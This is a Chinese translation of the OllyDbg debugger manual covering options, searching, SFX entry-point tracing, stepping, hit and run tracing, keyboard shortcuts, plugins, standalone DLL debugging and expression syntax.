<p>如果被调试的程序包含几个模块，推荐您分析所有模块。Call tree 不会试图处理系统函数。</p>
<p>十七，选项［Options］</p>
<p>外观选项［Appearance options］</p>
<p>常规［General］<br />
默认［Defaults］<br />
对话框［Dialogs］<br />
目录［Directories］<br />
字体［Fonts］<br />
颜色［Colours］<br />
代码高亮［Code highlighting］</p>
<p>调试选项［Debugging options］ (Alt+O)</p>
<p>安全［Security］<br />
调试［Debug］<br />
事件［Events］<br />
异常［Exceptions］<br />
跟踪［Trace］<br />
自解压［SFX］<br />
字符串［Strings］<br />
地址［Addresses］<br />
命令［Commands］<br />
反汇编［Disasm］<br />
CPU<br />
寄存器［Registers］<br />
栈［Stack］</p>
<p>分析1［Analysis 1］<br />
分析2［Analysis 2］<br />
分析3［Analysis 3］</p>
<p>即时调试［Just-in-time debugging］</p>
<p>添加到资源管理器［Add to Explorer］</p>
<p>十八，搜索［Search］</p>
<p>OllyDbg 允许您使用以下的搜索方式：</p>
<p>符号名（标签）［Symbolic name (label)］<br />
二进制串［binary string］<br />
常量［constant］<br />
命令［command］<br />
命令序列［sequence of commands］<br />
模块间调用［intermodular calls］<br />
修改过的命令或数据［modified command or data］<br />
自定义标签［user-defined label］</p>
<p>自定义注释［user-defined comment<br />
文本字符串［text string］<br />
Run跟踪的记录［record in run trace］<br />
参考命令［referencing commands］</p>
<p>十九，自解压文件［Self-extracting (SFX) files］</p>
<p>自解压文件由提取程序和压缩的原程序两部分组成。当遇到自解压文件（SFX）文件时，我们通常希望跳过解压部分，而直接跳到原始程序的入口（真正的入口）。<br />
OllyDbg 包含了几个便于完成这一任务的功能。</p>
<p>通常提取程序的加载地址都在执行代码之外。在这种情况下，OllyDbg 将这类文件均视作为自解压文件(SFX)。</p>
<p>当 自解压选项［SFX options］要求跟踪真正入口时，OllyDbg 在整个代码节［Code section］设置内存断点，最初这里是空的，或者只包含压缩数据。当程序试图执行某个在这个保护区域的命令，而这些命令不是 RET 和 JMP 时，OllyDbg 会报告真正的入口。这就是提取工作的原理。</p>
<p>上面的方法非常慢。有另外一种比较快的方法。每次读取数据发生异常时，OllyDbg 使这个4K内存区域变为可读，而使原先可读的区域变为无效。而每次发生写数据异常时，<br />
OllyDbg 使这个区域变为可写，而使原先可写的区域变为无效。当程序执行在保留的保护区域中的指令时，OllyDbg 报告真正的入口。但是，当真正的入口点在可读或可写区域内部时，报告的地址就可能有误。</p>
<p>您可以纠正入口位置，选择新的入口，从反汇编窗口的快捷菜单中选择“断点［Breakpoint］|设置真正的自解压入口［Set real SFX entry here］”。如果相应的SFX选项是开启的，OllyDbg下次可以迅速而可靠的跳过自提取程序。</p>
<p>注意：OllyDbg 在跟踪采取了保护或者反调试技术的解压程序时通常会失败。</p>
<p>二十，单步执行与自动执行［Step-by-step execution and animation］</p>
<p>您 可以通过按 F7（单步步入）或 F8（单步步过），对程序进行单步调试。这两个单步执行操作的主要区别在于：如果当前的命令是一个子函数，按F7，将会进入子函数，并停在子函数的第一条 命令上；而按 F8，将会一次运行完这个子函数。如果您单步步过的子函数中含有断点或其他调试事件，执行将会被暂停，但 OllyDbg 会在子函数的后一条命令上，自动下一个断点，而这个断点您迟早会碰到。</p>
<p>如果被调试程序停在异常上，您可以跳过它，并转到被调试程序建立的句柄处。只需简单的 Shift 键和任何一个单步命令。</p>
<p>如果需要连续按F7、F8键上百次，您可以使用自动执行（Ctrl+F7或者Ctrl+F8）功能。在这种情况下，OllyDbg 将自动重复F7或者F8操作，并且实时更新所有的窗口。这个过程会在下面情况停止：</p>
<p>- 按 Esc 键或发出任何单步命令</p>
<p>- OllyDbg 遇到断点</p>
<p>- 被调试程序发生异常</p>
<p>使用“+”和“-”按键，可以回朔以前的执行历史［execution history］.</p>
<p>注意：当执行停止时 OllyDbg 将会刷新大部分窗口。如果动态执行过程非常慢，可以尝试关掉或最小化没有用的窗口。</p>
<p>另外，更快捷的找到以前执行指令的办法是Run跟踪［run trace］。它将创建一个执行协议并告知您指定指令的执行时间和次数</p>
<p>二一，Hit跟踪［Hit trace］</p>
<p>Hit 跟踪能够让您辨别哪一部分代码执行了，哪一部分没有。OllyDbg的实现方法相当简单。它将选中区域的每一条命令处均设置一个INT3断点。当中断发生 的时候，OllyDbg便把它去除掉，并把该命令标志为命中［hit］。因为每个跟踪断点只执行一次，所以这种方法速度非常快。</p>
<p>在使用 Hit跟踪的时候，一定要注意不能在数据中设置断点，否则应用程序极有可能崩溃。因此，您必须打开相关的菜单选项，以进行代码分析［analyze］。我 推荐您选择严格或启发式函数识别［strict or heuristical procedure recognition］。如果选择模糊［Fuzzy］的话，可能会产生很多难以容忍的错误，而且经常把本不是函数的代码段识别成函数。</p>
<p>只要您在模块中设置了跟踪断点，哪怕只设了一个，OllyDbg都会分配两倍于代码段大小的缓冲区。</p>
<p>注意：当您退出Hit跟踪的时候，Run跟踪也会同时退出。</p>
<p>Run 跟踪［Run trace］<br />
Run 跟踪是一种反方向跟踪程序执行的方式，可以了解以前发生的事件。您还可以使用Run跟踪来了解运行的简单统计［profile］。基本上，OllyDbg 是一步一步地执行被调试程序的，就像动画［animation］演示一样，但不会实时刷新窗口，最重要的是它能将地址、寄存器的内容、消息以及已知的操作 数记录到Run跟踪缓冲区中。如果被调试的代码是自修改的，您就能够保存原始的命令。可以通过按Ctrl+F11（Run跟踪步入，进入子函数）或者 Ctrl+F12（Run跟踪步过，一次执行完子函数）开始Run跟踪，并用F12或者Esc键停止跟踪。</p>
<p>您可以指定在Run跟踪时执行每一步的条件集（快捷键：Ctrl+T）。如果条件符合，Run跟踪将暂停。条件包括：</p>
<p>?当EIP在某个地址范围内时暂停［Pause when EIP is in the address range］；<br />
?当EIP在某个地址范围之外时暂停［Pause when EIP is outside the address range］；<br />
?当某个条件为真时暂停［Pause when some condition is true］；<br />
? 当下一条指令可疑时暂停［Pause when next command is suspicious］，比如：可能为非法指令（根据在分析3［Analysis 3］中设定的规则而定），访问不存在的内存，设置了单步陷阱标志［single-step trap flag］或者越ESP界访问栈。注意这个选项会明显地(大约20%)减慢Run跟踪的速度；</p>
<p>?当命令执行达到指定的次数（更确切的说， 是添加到Run跟踪的缓冲区里面的命令数量）时暂停［Pause after specified number of commands is traced］。注意计数器不能自动归零。也就是说，如果您设置指令次数为10，则在第10次执行到该命令时暂停，并不是该命令每执行10次就暂停一次。</p>
<p>? 当下一条命令符合指定的样式之一时暂停［Pause when next command matches one of the specified patterns］。您可以使用模糊命令和操作数［imprecise commands and operands］及匹配32位寄存器RA和RB，像R32一样，这两个寄存器可以替代任何通用32位寄存器，但是在同一条命令中其值是不能变的。而 RA 和 RB<br />
在同一条命令中，则一定是不同的。例如，在程序中含有 XOR EAX,EAX; XOR ESI,EDX 两条命令，两条命令均符合样式 XOR R32,R32；第一条命令符合样式XOR RA,RA<br />
；而等二条命令 XOR ESI,EDX 符合样式XOR RA,RB。</p>
<p>毫无疑问，Run跟踪需要足够的内存，每条命令平均需要占用16到35字节，同时速度也非常慢。在500-MHZ处理器、Windows NT环境下，它每秒能跟踪5000条指令。<br />
Windows95 更慢：每秒钟仅2200条指令。但是在许多情况下，例如当一个程序跳转到不存在的地址的时候，这是找到原因的唯一方法。您可以在Run跟踪时将准线性命令 序列（即序列尾部只有唯一出口）跳过。当OllyDbg遇到这些需跳过的命令序列时，会设置一个临时断点，然后跟进到序列中，并一次运行完。当然了，如果 排除命令中返回或跳转的地址在跟踪范围之外，将可能导致跟踪发生错误；因此OllyDbg会检查您想跳过的代码块，如果存在上述情况，会向您询问。</p>
<p>在 大多数情况下，您对跟踪系统API代码不感兴趣。跟踪选项总是跟过系统DLL［Always trace over system DLLs］允许您在跟踪/自动模式下跟过API函数。如果模块在系统目录下，OllyDbg就假设该模块是系统的。您可以在模块［Modules］窗口中 标记任意DLL是系统的或者非系统的。</p>
<p>为了使执行速度更快，您可以通过设置Run跟踪断点，先将Run跟踪限制在选定的命令或代码块上，然后再运行程序。我把这种做法称作“强迫Run跟踪”。一般来说，删除Run跟踪断点不会移除Hit跟踪断点。但如果您删除了hit跟踪断点，同时您也移除了Run跟踪断点。</p>
<p>跟踪命令会保存到跟踪缓冲区中，这个缓冲区在跟踪开始时自动创建。您可以在选项中指定它的大小(最高64MB)。这个缓冲区是循环队列，当满了的时候，会丢弃老的记录。</p>
<p>您可以通过从OllyDbg主菜单中选择“调试［Debug］|打开或者清除Run跟踪［Open or clear run trace］”，来打开或者清除Run跟踪缓冲区。在Run跟踪缓冲区打开后，<br />
OllyDbg 会记录在执行过程中的所有暂停，甚至那些不是由Run跟踪引起的暂停。例如，您可以通过按 F7 或者 F8 单步执行程序，然后通过使用+键和-键来反方向跟踪程序的执行。注意：如果Run跟踪缓冲区已经关闭，则用这些键浏览的是历史［history］记录。在 您查看Run跟踪记录时，寄存器和信息面板会变灰，来强调它们所显示的寄存器并不是实际的寄存器。跟踪缓冲区并不保存栈顶或由寄存器所指向的内容。寄存 器、信息和栈在Run跟踪的时候使用实际的内存状态来解释寄存器的变化。</p>
<p>OllyDbg能够记下每个指令在Run跟踪缓冲区里面出现的次 数。在反汇编窗口快捷菜单中，选择是“查看［View］|统计作为注释［Profile as comments］”。这个命令使用统计取代了注释栏。或者，如果列标题栏可见，则可以单击它几次直到它显示统计信息。注意显示出来的数字是动态的，而且 不计算已经从跟踪缓冲区中丢弃的指令。您还可以在单独的统计窗口［Profile window］中，按触发次数排序，来查看整个模块的统计数据。</p>
<p>在 反汇编窗口的快捷菜单中选择“Run跟踪［Run trace］|添加到所有函数入口处［Add entries of all procedures］”，这样能够检查每个可识别的函数被调用的次数。另一个命令“Run跟踪［Run trace］|添加到函数中所有的分支［Add branches in procedure］”会强行跟踪此函数中所有识别的跳转目的地址的内容。在这种情况下，统计功能能够找到最频繁执行的分支，您可以优化这部分的代码，以 提高速度。</p>
<p>在反汇编窗口中的某条命令上使用快捷菜单中选择“搜索［Search for］|Run跟踪的最新记录［Last record in run trace］”用于查找该命令是否被执行过，如果执行过，最后一次执行在哪里。</p>
<p>Run 跟踪窗口显示跟踪缓冲区的内容。对每个指令来说包括被指令改变的整数寄存器的内容(更准确的说是给定的记录变成下一条记录的变化)。如果您双击某条指令， 窗口会选择在跟踪缓冲区里全部含有该命令的记录，而且您可以通过按+和-键来快速的浏览；如果您在调试选项［Debugging options］中设置了 “跟踪［Trace］|同步CPU和<br />
Run跟踪［Synchronize CPU and Run trace］”，双击记录则会跟进到对应的反汇编窗口中位置。</p>
<p>注意：当您退出Hit跟踪时，您同时也强行退出了Run跟踪。</p>
<p>通用快捷键［Global shortcuts］</p>
<p>无论当前的OllyDbg窗口是什么，这些快捷键均有效：</p>
<p>Ctrl+F2 &#8211; 重启程序，即重新启动被调试程序。如果当前没有调试的程序，OllyDbg会运行历史列表［history list］中的第一个程序。程序重启后，将会删除所有内存断点和硬件断点。<br />
译者注：从实际使用效果看，硬件断点在程序重启后并没有移除。</p>
<p>Alt+F2 &#8211; 关闭，即关闭被调试程序。如果程序仍在运行，会弹出一个提示信息，询问您是否要关闭程序。</p>
<p>F3 &#8211; 弹出“打开32位.EXE文件”对话框［Open 32-bit .EXE file］，您可以选择可执行文件，并可以输入运行参数。</p>
<p>Alt+F5 &#8211; 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断，而这时调试程序弹出一个总在最前面的窗口（一般为模式消息或模式对话框［modal message or dialog］），它可能会遮住OllyDbg的一部分，但是我们又不能移动最小化这个窗口。激活OllyDbg（比如按任务栏上的标签）并按Alt+ F5，OllyDbg将设置成总在最前面，会反过来遮住刚才那个窗口。如果您再按一下Alt+F5，OllyDbg会恢复到正常状态。OllyDbg是否 处于总在最前面状态，将会保存，在下一次调试时依然有效。当前是否处于总在最前面状态，会显示在状态栏中。</p>
<p>F7 &#8211; 单步步入到下一条命令，如果当前命令是一个函数［Call］，则会停在这个函数体的第一条命令上。如果当前命令是是含有REP前缀，则只执行一次重复操作。</p>
<p>Shift+F7 &#8211; 与F7相同，但是如果被调试程序发生异常而中止，调试器会首先尝试步入被调试程序指定的异常处理（请参考忽略Kernel32中的内存非法访问）。</p>
<p>Ctrl+F7 &#8211; 自动步入，在所有的函数调用中一条一条地执行命令（就像您按住F7键不放一样，只是更快一些）。当您执行其他一些单步命令，或者程序到达断点，或者发生异 常时，自动步入过程都会停止。每次单步步入，OllyDbg都会更新所有的窗口。所以为了提高自动步入的速度，请您关闭不必要成窗口，对于保留的窗口最好 尽量的小。按Esc键，可以停止自动步入。</p>
<p>F8 &#8211; 单步步过到下一条命令。如果当前命令是一个函数，则一次执行完这个函数（除非这个函数内部包含断点，或发生了异常）。如果当前命令是含有REP前缀，则会执行完重复操作，并停在下一条命令上。</p>
<p>Shift+F8 &#8211; 与F8相同，但是如果被调试程序发生异常而中止，调试器会首先尝试步过被调试程序指定的异常处理（请参考忽略Kernel32中的内存非法访问）。</p>
<p>Ctrl+F8 &#8211; 自动步过，一条一条的执行命令，但并不进入函数调用内部（就像您按住F8键不放一样，只是更快一些）。当您执行其他一些单步命令，或者程序到达断点，或者 发生异常时，自动步过过程都会停止。每次单步步过，OllyDbg都会更新所有的窗口。所以为了提高自动步过的速度，请您关闭不必要成窗口，对于保留的窗 口最好尽量的小。按Esc键，可以停止自动步过。</p>
<p>F9 &#8211; 让程序继续执行。</p>
<p>Shift+F9 &#8211; 与F9相同，但是如果被调试程序发生异常而中止，调试器会首先尝试执行被调试程序指定的异常处理（请参考忽略Kernel32中的内存非法访问）。</p>
<p>Ctrl+F9 &#8211; 执行直到返回，跟踪程序直到遇到返回，在此期间不进入子函数也不更新CPU数据。因为程序是一条一条命令执行的，所以速度可能会慢一些。按Esc键，可以停止跟踪。</p>
<p>Alt+F9 &#8211; 执行直到返回到用户代码段，跟踪程序直到指令所属于的模块不在系统目录中，在此期间不进入子函数也不更新CPU数据。因为程序是一条一条执行的，所以速度可能会慢一些。按Esc键，可以停止跟踪。</p>
<p>Ctrl+F11 -Run跟踪步入，一条一条执行命令，进入每个子函数调用，并把寄存器的信息加入到Run跟踪的存储数据中。Run跟踪不会同步更新CPU窗口。</p>
<p>F12 &#8211; 停止程序执行，同时暂停被调试程序的所有线程。请不要手动恢复线程运行，最好使用继续执行快捷键或菜单选项（像 F9）。</p>
<p>Ctrl+F12 &#8211; Run跟踪 步过，一条一条执行命令，但是不进入子函数调用，，并把寄存器的信息加入到Run跟踪的存储数据中。Run跟踪不会同步更新CPU窗口。</p>
<p>Esc &#8211; 如果当前处于自动运行或跟踪状态，则停止自动运行或跟踪；如果CPU显示的是跟踪数据，则显示真实数据。</p>
<p>Alt+B &#8211; 显示断点窗口。在这个窗口中，您可以编辑、删除、或跟进到断点处。</p>
<p>Alt+C &#8211; 显示CPU窗口。</p>
<p>Alt+E &#8211; 显示模块列表［list of modules］。</p>
<p>Alt+K &#8211; 显示调用栈［Call stack］窗口。</p>
<p>Alt+L &#8211; 显示日志窗口。</p>
<p>Alt+M &#8211; 显示内存窗口。</p>
<p>Alt+O &#8211; 显示选项对话框［Options dialog］</p>
<p>Ctrl+P &#8211; 显示补丁窗口。</p>
<p>Ctrl+T &#8211; 打开 暂停 Run跟踪 对话框</p>
<p>Alt+X &#8211; 关闭 OllyDbg。</p>
<p>大多数窗口都支持以下的键盘命令：</p>
<p>Alt+F3 &#8211; 关闭当前窗口。</p>
<p>Ctrl+F4 &#8211; 关闭当前窗口。</p>
<p>F5 &#8211; 最大化当前窗口或将当前窗口大小改为正常化。</p>
<p>F6 &#8211; 切换到下一个窗口。</p>
<p>Shift+F6 &#8211; 切换到前一个窗口。</p>
<p>F10 &#8211; 打开与当前窗口或面板相关的快捷菜单。</p>
<p>左方向键 &#8211; 显示窗口左方一个字节宽度的内容。</p>
<p>Ctrl+左方向键 &#8211; 显示窗口左方一栏的内容。</p>
<p>右方向键 &#8211; 显示窗口右方一个字节宽度的内容</p>
<p>Ctrl+右方向键 &#8211; 显示窗口右方一栏的内容</p>
<p>反汇编窗口中的快捷键［Disassembler shortcuts］</p>
<p>当CPU窗口中的反汇编面板［Disassembler pane］处于激活状态时，您可以使用以下快捷键：</p>
<p>回车键 &#8211; 将选中的命令添加到命令历史［command history］中，如果当前命令是一个跳转、函数或者是转换表的一个部分，则进入到目的地址。</p>
<p>退格键 &#8211; 移除选中部分的自动分析信息。如果分析器将代码误识别为数据，这个快捷键就非常有用。请参考解码提示［decoding hints］.</p>
<p>Alt+退格键 &#8211; 撤消所选部分的修改，以备份数据的相应内容替换所选部分。仅当备份数据存在且与所选部分不同时可用。</p>
<p>Ctrl+F1 -如果API帮助文件已经选择，将打开与首个选择行内的符号名相关联的帮助主题。</p>
<p>F2 -在首个选择的命令上开关INT3 断点［Breakpoint］，也可以双击该行第二列。</p>
<p>Shift+F2 -在首个选择命令设置条件断点，参见忽略Kernel32中内存访问异常［Ignore memory access violations in Kernel32］。</p>
<p>F4 -执行到所选行，在首个选择的命令上设置一次性断点，然后继续执行调试程序，直到OllyDbg捕获到异常或者停止在该断点上。在程序执行到该命令之前，该一次性断点一直有效。如有必要，可在断点窗口［Breakpoints window］中删除它。</p>
<p>Shift+F4 -设置记录断点（一种条件断点，当条件满足时一些表达式的值会记录下来）， 详情参见断点［Breakpoint］。</p>
<p>Ctrl+F5 -打开与首个选择的命令相对应的源文件。</p>
<p>Alt+F7 -转到上一个找到的参考。</p>
<p>Alt+F8 -转到下一个找到参考。</p>
<p>Ctrl+A -分析当前模块的代码段。</p>
<p>Ctrl+B &#8211; 开始二进制搜索。</p>
<p>Ctrl+C -复制所选内容到剪贴板。复制时会简单地按列宽截断不可见内容，如果希望排除不需要的列，可把这些列的宽度调整到最小。</p>
<p>Ctrl+E -以二进制（十六进制）格式编辑所选内容。</p>
<p>Ctrl+F -开始命令搜索。</p>
<p>Ctrl+G -转到某地址。该命令将弹出输入地址或表达式的窗口。该命令不会修改 EIP。</p>
<p>Ctrl+J -列出所有的涉及到该位置的调用和跳转，在您用这个功能之前，您必须使用分析代码功能。</p>
<p>Ctrl+K &#8211; 查看与当前函数相关的调用树［Call tree］。在您用这个功能之前，您必须使用分析代码功能。</p>
<p>Ctrl+L &#8211; 搜索下一个，重复上一次的搜索内容。</p>
<p>Ctrl+N &#8211; 打开当前模块的名称（标签）列表。</p>
<p>Ctrl+O &#8211; 扫描object文件。扫描Object文件。该命令会显示扫描Object文件对话框，您可以在该对话框中选择Object文件或者lib文件，并扫描这个文件，试图找到在实际代码段中用到的目标模块。</p>
<p>Ctrl+R -搜索所选命令的参考。该命令扫描激活模块的全部可执行代码，以找到涉及到首个选中的命令的全部相关参考（包括：常量、跳转及调用），您可以在参考中使用快捷键 Alt+F7 和 Alt+F8来浏览这些参考。为便于您使用，被参考的命令也包含在该列表中。</p>
<p>Ctrl+S -命令搜索。该命令显示命令查找［Find command］对话框供您输入汇编命令，并从当前命令开始搜索。</p>
<p>星号［Asterisk］(*) -转到原始位置（激活线程的EIP处）。</p>
<p>Ctrl+星号(*) &#8211; 指定新的起始位置，设置当前所选线程的EIP为首个选择字节的地址。您可以在选择EIP并撤消该操作。</p>
<p>加号［Plus］(+) -如果run跟踪［run trace］ 没有激活，则根据命令历史［command history］跳到下一条运行过命令的地方；否则跳到Run跟踪的下一个记录。</p>
<p>Ctrl+加号 &#8211; 跳到前一个函数开始处。（注意只是跳到，并不执行）</p>
<p>减号［Minus］(-) &#8211; 如果run跟踪［run trace］ 没有激活，则根据命令历史［command history］跳到前一条运行过命令的地方；否则跳到Run跟踪的前一个记录。</p>
<p>Ctrl+减号 &#8211; 跳到下一个函数开始处。（注意只是跳到，并不执行）</p>
<p>空格［Space］ &#8211; 修改命令。您可在显示对话框中以汇编语言修改实际指令或输入新指令，这些指令将替换实际代码，您也可以在想要修改的指令处双击鼠标。</p>
<p>冒号［Colon］( &#8211; 添加标签。显示添加标签窗口［Add label］或修改标签窗口［Change label］，您可在此输入与首个选择的命令中的第一个字节相关联的标签（符号名）。注意，在多种编程语言中，冒号可以是标签的一部分。</p>
<p>分 号［Semicolon］( &#8211; 添加注释［comment］。显示添加注释窗口［Add label］或修改注释窗口［Change label］，您可在此输入与首条所选命令的第一个字节相关联的注释（注释串会显示在最后一列中）。注意，多种汇编语言使用分号作为注释开始。您也可以在 注释列双击需要注释的命令行。</p>
<p>插件［Plugins］</p>
<p>插件是一个DLL，存放在OllyDbg的目录中，用于增加 OllyDbg 的功能。您可以从 OllyDbg 的主页上（<a href="http://home.t-online.de/home/Ollydbg" target="_blank">http://home.t-online.de/home/Ollydbg</a>）免费下载插件开发工具包<br />
plug110.zip。</p>
<p>插 件可以设置断点，增加标签和注释，修改寄存器和内存。插件可以添加到主菜单和很多的窗口（比如反汇编窗口、内存窗口）的快捷菜单中，也可以拦截快捷键。插 件还可以创建MDI（多文档界面）窗口。插件还可以根据模块信息和OllyDbg.ini文件，将自己数据写到.udd文件中；并能读取描述被调试程序的 各种数据结构。插件API包含了多达170<br />
个函数。</p>
<p>许多第三方插件都可以从Internet网上获得，比如由网友TBD创建并维护的OllyDbg的论坛（<a href="http://ollydbg.win32asmcommunity.net/" target="_blank">http://ollydbg.win32asmcommunity.net</a>）。</p>
<p>安装插件的方法：将DLL复制到插件目录［plugin directory］中，然后重新启动Ollydbg。默认情况下，这个插件目录为ollydbg.exe文件所在的目录。</p>
<p>现在的版本中已经包含了两个“原始”插件： 书签［Bookmark］ and 命令行［Command line］. 他们的源代码都保存在plug110.zip.文件中。这些插件都是免费的，您可以任意修改或使用它们。</p>
<p>技巧提示［Tips and tricks］</p>
<p>?OllyDbg 可以作为二进制编辑器使用。选择视图［View］→文件［File］并选定需要查看的文件。文件不能大于剩余内存数量。</p>
<p>?假使您修改了内存中的执行文件，这时您想恢复修改的部分，但是您忘记哪里被修改了，您可以把原始文件当作备份进行加载，这样您就可以找到修改的部分了。</p>
<p>分析前，先扫描 OBJ 文件。这时 OllyDbg 会对已知 C 函数的参数进行解码。</p>
<p>一些表格中包含了隐藏数据。可以通过增加列宽来显示出来。</p>
<p>所有数据窗口（包括反汇编窗口），可以通过双击显示相对的地址。</p>
<p>您可以通过 Ctrl +↑ 或 Ctrl+↓ 对数据窗口翻动一个字节。</p>
<p>调试独立的DLL［Debugging of stand-alone DLLs］</p>
<p>打开DLL，也可以直接将其从资源管理器拖放到 OllyDbg 上。OllyDbg 会询问您并将该文件的全路径作为参数传递给loaddll.exe.。然后链接库被加载并停在代码的入口（<br />
&lt;DllEntryPoint&gt;）。您可以设置断点，运行或跟踪启动代码，等等。在初始化完成后，应该程序会再次暂停。这次停在标签名为 Firstbp 的位置，其在立即进入主消息循环之前。</p>
<p>现在，您可以调用DLL函数。从主菜单选择“调试［Debug］|调用DLL输出［Call DLL export］”。这时会弹出一个对话框。由于这个对话框是无模式对话框，因此您仍然能够使用OllyDbg的全部功能，比如查看代码、数据，查看断点，修改内存等等。<br />
选 择您想调用的函数。例如我们将开始使用 USER32.DLL 里的MessageBox 函数。注意loaddll.exe 已经使用了这个链接库，因此会假定这个 DLL 已经初始化而不再调用入口。MessageBox 这个函数名是通用函数名，实事上，这个函数有处理 ASCII 的 MessageBoxA 和处理 Unicode 的MessageBoxW 两种。我们继续往下看：</p>
<p>在我们选择这个函数后，右边的消息框中会出现 Number of arguments: 4（有四个参数）的字样。OllyDbg 会根据函数尾部的RET 10语句来正确识别参数的数量。RET nnn<br />
是使用PASCAL调用约定的函数的典型特征。(参数被放入栈中，第一个参数会被最后一个压入栈中，函数调用完毕后，参数会被遗弃)。大多数的 Windows API 函数都是<br />
PASCAL形式的。</p>
<p>下一步，我们要设定栈中参数的个数。在这个例子中，不必做进行这个操作，因为OllyDbg已经知道了MessageBoxW函数的参数数量。但是，如果您愿意的话，也可以单击左边的复选框，改变成您认为合适的参数数量</p>
<p>现 在填写参数列表。这个对话框中支持至多10个参数. 参数可以是任何有效的表达式，而不必使用寄存器。如果操作数指向了内存，则参数右边的缓冲区窗口会显示内存中的数据。Loaddll.exe 有10个大小为1K的缓冲区，这些缓冲区被标记为Arg1 .. Arg10,，您可以方便自由的使用它们。另外，对话框还支持两个伪变量：由loaddll.exe创建的父窗口句柄&lt;Hwnd&gt;，以及 loaddll的实例句柄&lt;Hinst&gt;。为了方便您的使用，在您第一次使用调用输出函数时，OllyDbg就已经将这两个伪变量加到了历史 列表中去了。</p>
<p>MessageBoxW e函数需要4个参数：</p>
<p>?父窗口句柄。 这里我们选择&lt;Hwnd&gt; ；handle of owner window. Here, we simply select &lt;Hwnd&gt;;<br />
?在消息框中UNICODE文本的地址。选择Arg2并按回车。缓冲区窗口会以16进制的格式显现内存中的缓冲区。这个缓冲区初始化全是0。点击第一个字节，并按快捷键<br />
Ctrl+E（另外, 也可以从菜单中选择“二进制［Binary］|编辑［Edit］”）。这时会出现一个对话框，在对话框中键入“Text in box”或者其他希望显示的字符串；</p>
<p>?消息框标题的UNICODE文本的地址。选择Arg3并在Unicode格式的内存中写上“Box title”；<br />
?消息框的风格。使用常量MB_xxx进行组合.OllyDbg 可以识别这些常量。在这里我们键入：MB_OK|MB_ICONEXCLAMATION。</p>
<p>这里不需要寄存器参数。</p>
<p>现 在我们准备调用输出函数。选项“在调用时隐藏［Hide on call］”意思是说，当函数运行时对话框将会从屏幕消失。当我们执行一个会运行很长时间的函数，或者设置了断点的时候，这个选项非常的有用。您也可以手 动关闭对话框。当函数执行完毕后，OllyDbg会重新自动打开。“调用输出函数”对话框。选项“在调用后暂停［Pause after call］”意思是说，在执行完函数后，loaddll将会被暂停。</p>
<p>按“调用［Call］按钮”后，OllyDbg 会自动备份所有的内存、校验、参数、寄存器等信息。并隐藏对话框，然后调用 MessageBoxW 函数。和期望的一样，消息框在屏幕中出现了：</p>
<p>函数 MessageBoxW 不会修改参数。如果您调用的函数更新了内存，比如函数 GetWindowName，修改的字节将会在数据区里高亮。注意：EAX 返回值为1，表示成功。</p>
<p>其他的例子请访问我的网站：<br />
<a href="http://home.t-online.de/home/Ollydbg/Loaddll.htm." target="_blank">http://home.t-online.de/home/Ollydbg/Loaddll.htm.</a></p>
<p>不幸的是，您不能通过这种方式调试OllyDbg的插件，插件关联到ollydbg.exe文件，Windows系统不能在同一个应用程序里加载并运行两个可执行文件。</p>
<p>解码提示［Decoding hints］<br />
在某些情况下，分析器不能区分代码和数据。让我们看看下面的例子：</p>
<p>const char s[11] = &#8220;0123456789&#8243;;<br />
&#8230;<br />
for (i=0&#215;30; i&lt;0&#215;3a; i++) t[i-0x30]=s[i-0x30];</p>
<p>好的编译器将会将上面的代码优化成如下样子： e</p>
<p>for (i=0&#215;30; i&lt;0&#215;3a; i++) (t-0&#215;30)=(s-0&#215;30);</p>
<p>这里t-0&#215;30 和 s-0&#215;30 都是常量，并编译成如下形式：</p>
<p>MOV AL,[BYTE s_minus_30+EBX]<br />
MOV [BYTE t_minus_30+EBX],AL</p>
<p>编译器也可能将常量字符串&#8221;0123456789&#8243;插入到执行代码中。在1.10版本中，我打算用寄存器的值来决定是否的数据或代码。当遇到上面的命令，分析器将假定地址<br />
s_minus_30处包含字符数据。但事实上，可能那里是代码。</p>
<p>万一出现上述问题，我们应该怎么办呢？有两种办法：最快最笨的办法是：将分析错误的部分删除（快捷键：退格键），这样OllyDbg将使用默认的反汇编器进行解码。</p>
<p>更好的办法是使用解码提示［decoding hints］。您可以告诉OllyDbg如何解释选中的内存内容。这种方法在重新分析（Ctrl+A）时，解释依然有效。</p>
<p>设置提示的方法：在反汇编窗口中，选中需要修正提示的代码或数据，然后在快捷菜单中选择 分析［Analysis］|在下次分析时，将选择部分视为［During next analysis, treat selection as］。选择以下选项之一：</p>
<p>命令［Command］ &#8211; 第一个被选中的字节开始的有效命令。这条命令，还有所有后面的部分，直到有Jump或Return命令出现，以及含有Jump或Call命令所到达位置的部分，都会被视为命令；</p>
<p>字节［Byte］，<br />
字［Word］，<br />
双字［Doubleword］ &#8211; 选中的前1、2、4字节视为对应大小的数据；</p>
<p>所有选中命令［Commands］ &#8211; 全部选中部分（直到第一个无效命令）和可以到达由有效命令集组成的目的地址；</p>
<p>字节［Bytes］，<br />
字［Words］，<br />
双字［Doublewords］， &#8211; 全部选中部分以1、2、或 4字节分组；</p>
<p>ASCII字符串［ASCII text］，<br />
UNICODE字符串［UNICODE text］ &#8211; 全部选中部分为ASCII 或 UNICODE 字符串；</p>
<p>默认（移除提示）［Default (remove hints)］ &#8211; 从选中部分中移除全面提示；</p>
<p>移除全部提示［Remove all hints］ &#8211; 从全部模块中移除解码提示。</p>
<p>OllyDbg 保存提示到.udd文件中。</p>
<p>表达式赋值［Evaluation of e­xpressions］</p>
<p>[code]<br />
OllyDbg能够支持非常复杂的表达式。表达式的语法格式将在这个主题的后面进行介绍，但我想您对此不一定真的感兴趣。那么我先举几个实例来说明：</p>
<p>10 - 常量 0x10 （无符号）。所有整数常量都认为是十六进制的，除非后面跟了点；</p>
<p>10. - 十进制常量10（带符号）；</p>
<p>''A'' - 字符常量 0x41；</p>
<p>EAX - 寄存器EAX的内容，解释为无符号数；</p>
<p>EAX. -寄存器EAX的内容，解释为带符号数；</p>
<p>[123456] - 在地址123456处的无符号双字内容。默认情况，OllyDbg假定是双字长操作数；</p>
<p>DWORD PTR [123456] - 同上。关键字 PTR 可选；</p>
<p>[SIGNED BYTE 123456] - 在地址123456处带符号单字节。OllyDbg支持类MASM和类IDEAL两种内存表达式；</p>
<p>STRING [123456] - 以地址123456作为开始，以零作为结尾的ASCII字符串。中括号是必须的，因为您要显示内存的内容；</p>
<p>[[123456]] - 在地址123456处存储的双字所指向的地址内的双字内容；</p>
<p>2+3*4 - 值为14。OllyDbg 按标准C语言的优先级进行算术运行；</p>
<p>(2+3)*4 - 值为20。使用括号改变运算顺序。</p>
